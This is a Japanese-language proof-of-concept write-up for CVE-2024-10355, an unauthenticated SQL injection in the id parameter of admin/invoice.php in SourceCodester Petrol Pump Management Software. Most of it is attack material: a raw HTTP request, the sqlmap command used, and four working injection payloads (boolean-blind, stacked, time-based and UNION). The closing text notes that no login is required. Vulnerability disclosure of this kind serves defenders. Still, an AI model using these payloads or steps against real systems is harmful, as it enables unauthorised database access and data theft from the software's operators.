
CVE-2024-10355の再現と分析:SourceCodester Petrol Pump Management Softwareにおける認証不要のSQLインジェクション脆弱性、実証用ペイロードおよび悪用手順を含む。
ガソリンポンプ管理ソフトウェア 無料ダウンロード | SourceCodester
sourcecodester の Petrol pump management software v1.0 における SQL インジェクションの脆弱性。高リスクと評価される脆弱性が発見されました。admin\invoice.php ファイルの一部の不明な機能に影響し、パラメータ id を使用して悪意のある SQL 文を構築し、機密情報を取得することで害を引き起こします。
admin\invoice.php

ここでは、ユーザー入力 $_POST['id'] が SQL クエリ文に連結されており、明らかに SQL インジェクション攻撃に脆弱です。

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
パケットを保存し、sqlmap 攻撃を使用します
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
パケットを見ると、cookie 値を追加していません。これは、認証がなく、ログインせずにリモートから攻撃を仕掛けることができることを示しています。
このペイロードは、時間ベースのブラインド、ブールベースのブラインド、スタッククエリ、UNION クエリの 4 つの注入方法を利用しており、データベース名の注入に成功していることがわかります。